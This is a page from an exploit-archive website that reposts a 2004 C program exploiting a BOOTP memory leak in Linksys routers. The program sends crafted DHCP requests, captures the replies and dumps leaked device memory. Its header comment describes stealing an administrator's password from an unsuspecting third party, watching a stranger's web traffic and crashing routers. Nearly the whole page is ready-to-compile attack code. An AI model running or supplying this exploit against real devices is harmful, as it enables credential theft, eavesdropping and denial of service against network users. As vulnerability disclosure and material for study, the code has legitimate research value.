首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linksys BOOTP Memory Leak Exploit
来源:www.spoofed.org 作者:Jon Hart 发布时间:2004-06-04  

/*
*
* Apparently Linksys devices that have a DHCP server on them
* don't properly handle BOOTP packets. Instead of returning
* legitimate BOOTP responses, they return BOOTP responses with
* the BOOTP fields filled in with portions of memory. This
* allows you to do cool things like the equivalent of sniffing
* all the traffic to/from the device.
*
* To the best of my knowledge, this only allows you to read
* traffic that was recently sent to/from the linksys device
* (on any of its ports if its a hub/switch). I have successfully
* used this technique to steal the admin username and password
* from an innocent third party who recently configured the device,
* and I watched someone's traffic as they browsed ebay for a new
* Ti-Book. In a number of cases, after sufficient packets were sent,
* the device stopped routing packets and would only continue working
* again after a power cycle.
*
* You won't always get memory on the first packet, so try
* sending many packets. Even if you do get portions of memory,
* you'll only get something interesting if the linksys device was
* recently active.
*
* If you try the payload option, you can see that canary value in
* BOOTP reply packets -- not necessarily right away, but eventually.
* This usually appears in the BOOTP vendor specific options field,
* typically right at the very beginning.
*
* Tested on a fully updated Linksys BEFSR41 and BEFW11S4, but
* will likely work on all Linksys devices that have a DHCP
* server. Currently, this looks to include at least the BEFN2PS4,
* BEFSR41, BEFSR81, BEFSX41, RV082, BEFCMU10, BEFSR11, BEFSR41W,
* BEFSRU31, BEFVP41, WRT55AG, WRV54G, WRT51AB
*
*
* Requires libnet (1.1.x) and libpcap
*
* Compile with something like:
*
* gcc -Wall -I/usr/include `libnet-config --defines --cflags` \
* -o linksys-dhcp-exploit linksys-dhcp-exploit.c `libnet-config --libs`
-lpcap
*
*
* Jon Hart <warchild@spoofed.org>
*
* Copyright (c) 2004, Jon Hart
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
modification,
* are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright
notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
notice,
* this list of conditions and the following disclaimer in the
documentation
* and/or other materials provided with the distribution.
* * Neither the name of the organization nor the names of its
contributors may
* be used to endorse or promote products derived from this software
without
* specific prior written permission.
*
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
*
*/

#include <libnet.h>
#include <pcap.h>
#if (SOLARIS || BSD)
#include <netinet/if_ether.h>
#else
#include <netinet/ether.h>
#endif

#define HEXDUMP_BYTES_PER_LINE 16
#define HEXDUMP_SHORTS_PER_LINE (HEXDUMP_BYTES_PER_LINE / 2)
#define HEXDUMP_HEXSTUFF_PER_SHORT 5 /* 4 hex digits and a space */
#define HEXDUMP_HEXSTUFF_PER_LINE \
(HEXDUMP_HEXSTUFF_PER_SHORT * HEXDUMP_SHORTS_PER_LINE)

void ascii_print_with_offset(register const u_char *cp, register u_int
length);
void usage();
void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header,
const u_char *packet);

int main(int argc, char *argv[]) {

int c, time = 5, dump = 0, count = 0;

libnet_t *libnet;
struct libnet_stats stats_libnet;
libnet_ptag_t ether, ipv4, udp, bootp;
struct libnet_ether_addr *src_ether;

pcap_t *pcap;
struct pcap_stat stats_pcap;
struct bpf_program filter;
char filter_exp[] = "src port 67 and dst port 68";
bpf_u_int32 mask, net;

char errbuf[LIBNET_ERRBUF_SIZE];
char *interface = NULL;
char *payload = NULL;
u_char bcast_ether[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

while ((c = getopt(argc, argv, "c:i:p:s:X")) != EOF) {
switch (c) {
case 'c':
count = atoi(optarg);
break;
case 'i':
interface = optarg;
break;
case 'p':
payload = optarg;
break;
case 's':
time = atoi(optarg);
break;
case 'X':
dump = 1;
break;
default:
usage();
return(1);
}
}


if (interface == NULL) {
fprintf(stderr, "Please specify an interface\n");
usage();
return(1);
}

if ((libnet = libnet_init(LIBNET_LINK, interface, errbuf)) == NULL) {
fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
return(1);
}

if ((src_ether = libnet_get_hwaddr(libnet)) == NULL) {
fprintf(stderr, "Couldn't determine src ethernet: %s\n", errbuf);
libnet_destroy(libnet);
return(1);
}

memset(&stats_libnet, 0, sizeof(struct libnet_stats));

libnet_seed_prand(libnet);

if ((pcap = pcap_open_live(interface, BUFSIZ, 0, 5000, errbuf)) == NULL)
{
fprintf(stderr, "pcap_open_live() failed: %s\n", errbuf);
libnet_destroy(libnet);
return(1);
}

if (pcap_lookupnet(interface, &net, &mask, errbuf) == -1) {
fprintf(stderr, "pcap_lookupnet() failed: %s\n", errbuf);
libnet_destroy(libnet);
pcap_close(pcap);
return(1);
}

if (pcap_compile(pcap, &filter, filter_exp, 0, net) == -1) {
fprintf(stderr, "pcap_compile() failed: %s\n", pcap_geterr(pcap));
libnet_destroy(libnet);
pcap_close(pcap);
}

if (pcap_setfilter(pcap, &filter) == -1) {
fprintf(stderr, "pcap_setfilter() failed: %s\n", pcap_geterr(pcap));
libnet_destroy(libnet);
pcap_freecode(&filter);
pcap_close(pcap);
}

memset(&stats_pcap, 0, sizeof(struct pcap_stat));

/* If we want to tack some "payload" into the BOOTP packet,
* we must do it here before the bootp stuff is built
*/
if (!(payload == NULL)) {
libnet_build_data((u_char *) payload, strlen(payload), libnet, 0);
}

/* The device seems to croak on the simplest of BOOTP packets,
* so lets do that, shall we
*/
bootp = libnet_build_bootpv4(
LIBNET_DHCP_REQUEST,
1,
ETHER_ADDR_LEN,
0,
libnet_get_prand(LIBNET_PR32),
0,
0x8000,
0,
0,
0,
0,
src_ether->ether_addr_octet,
NULL,
NULL,
NULL,
0,
libnet,
0);

if (bootp == -1) {
fprintf(stderr, "Can't build bootp: %s\n", libnet_geterror(libnet));
goto die;
}

udp = libnet_build_udp(
68,
67,
LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 :
strlen(payload)),
0,
NULL,
0,
libnet,
0);


if (udp == -1) {
fprintf(stderr, "Can't build udp: %s\n", libnet_geterror(libnet));
goto die;
}

ipv4 = libnet_build_ipv4(
LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0
: strlen(payload)),
0,
libnet_get_prand(LIBNET_PR16),
IP_DF,
libnet_get_prand(LIBNET_PR8),
IPPROTO_UDP,
0,
inet_addr("0.0.0.0"),
inet_addr("255.255.255.255"),
NULL,
0,
libnet,
0);

if (ipv4 == -1) {
fprintf(stderr, "Can't build ipv4: %s\n", libnet_geterror(libnet));
goto die;
}

ether = libnet_autobuild_ethernet(bcast_ether, ETHERTYPE_IP, libnet);

if (ether == -1) {
fprintf(stderr, "Can't build ethernet: %s\n", libnet_geterror(libnet));
goto die;
}

if (count == 0) {
for(;;) {
libnet_write(libnet);
if (dump) {
if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
pcap_perror(pcap, "Error: ");
}
}
sleep(time);
}
} else {
for (c = 0; c < count; c++) {
libnet_write(libnet);
if (dump) {
if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
pcap_perror(pcap, "Error: ");
}
}
if (!(c + 1 == count)) {
sleep(time);
}
}
}

libnet_stats(libnet, &stats_libnet);

if (pcap_stats(pcap, &stats_pcap) == -1) {
fprintf(stderr, "pcap_stats() failed: %s\n", pcap_geterr(pcap));
} else {
fprintf(stderr, "\nSent: %lld Received: %d Dropped: %d\n",
stats_libnet.packets_sent, stats_pcap.ps_recv, stats_pcap.ps_drop);
}

goto die;

die:
libnet_destroy(libnet);
pcap_freecode(&filter);
pcap_close(pcap);
return(0);
}

/* Borrowed from tcpdump */
void ascii_print_with_offset(register const u_char *cp, register u_int
length) {
register u_int i, oset = 0;
register int s1, s2, chr = 0;
register int nshorts;
char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1],
*hsp;
char asciistuff[HEXDUMP_BYTES_PER_LINE+1], *asp;
char *ascii_color = "01;32";

nshorts = length / sizeof(u_short);
i = 0;
hsp = hexstuff; asp = asciistuff;
while (--nshorts >= 0) {
s1 = *cp++;
s2 = *cp++;
(void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
" %02x%02x", s1, s2);
hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
*(asp++) = s1;
*(asp++) = s2;
if (++i >= HEXDUMP_SHORTS_PER_LINE) {
*hsp = *asp = '\0';
(void)printf("\n0x%04x\t%-*s ",
oset, HEXDUMP_HEXSTUFF_PER_LINE,
hexstuff);
for (chr = 0; chr < sizeof(asciistuff) - 1; chr++) {
if (isprint(asciistuff[chr])) {
(void)printf("\33[%sm", ascii_color);
(void)printf("%c", asciistuff[chr]);
fputs("\33[00m", stdout);
} else {
(void)printf(".");
}
}
i = 0; hsp = hexstuff; asp = asciistuff;
oset += HEXDUMP_BYTES_PER_LINE;
}
}
if (length & 1) {
s1 = *cp++;
(void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
" %02x", s1);
hsp += 3;
*(asp++) = s1;
++i;
}
if (i > 0) {
*hsp = *asp = '\0';
(void)printf("\n0x%04x\t%-*s ",
oset, HEXDUMP_HEXSTUFF_PER_LINE,
hexstuff);
for (chr = 0; chr < sizeof(asciistuff) - 1 && asciistuff[chr] != '\0';
chr++) {
if (isgraph(asciistuff[chr])) {
(void)printf("\33[%sm", ascii_color);
(void)printf("%c", asciistuff[chr]);
fputs("\33[00m", stdout);
} else {
(void)printf(".");
}
}
}
}

void usage() {
fprintf(stderr, "\tLinksys dhcp memory disclosure exploit\n");
fprintf(stderr, "\tby Jon Hart <warchild@spoofed.org>\n");
fprintf(stderr, "\thttp://spoofed.org/files/linksys-dhcp-exploit.c\n");
fprintf(stderr, "\n\tUsage:\n");
fprintf(stderr, "\t\t-c count # number of packets to send\n");
fprintf(stderr, "\t\t-i interface # interface to send packets to\n");
fprintf(stderr, "\t\t-p payload # payload to put in the bootp packet\n");
fprintf(stderr, "\t\t-s seconds # (optional) seconds to sleep between
packets\n");
fprintf(stderr, "\t\t-X # dump captured data\n");
fprintf(stderr, "\n\n");
}

void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header,
const u_char *packet) {

struct ether_header *ether = (struct ether_header *) packet;
struct iphdr *ip;
u_int jump = 0;

if (ntohs(ether->ether_type) != ETHERTYPE_IP) {
return;
}

/* Jump past the ethernet header */
jump += LIBNET_ETH_H;
ip = (struct iphdr *)(packet + jump);

/* Jump past the IP header */
jump += ip->ihl * 4;

/* Jump past the UDP header */
jump += LIBNET_UDP_H;

/* Now print out the UDP data, which is just the BOOTP portion of
* the packet. This should contain the interesting data.
*/
ascii_print_with_offset(packet + jump, packet_header->caplen - jump);
printf("\n");
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·NetBSD/FreeBSD移植的Systrace E
·Condition Vulnerability Allows
·ProFTPd remote users discovery
·BNBT BitTorrent Tracker DoS Ex
·Writing Trojans that Bypass Wi
·Mollensoft FTP Server CMD Buff
·bmon < 1.2.1_2 local exploi
·mkdir buffer overflow UNIX 7th
·Windows NNTP Service XPAT comm
·Apache/1.3.27 - Remote Root Ex
·Microsoft Internet Explorer远
·Symantec Firewall DNS Response
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved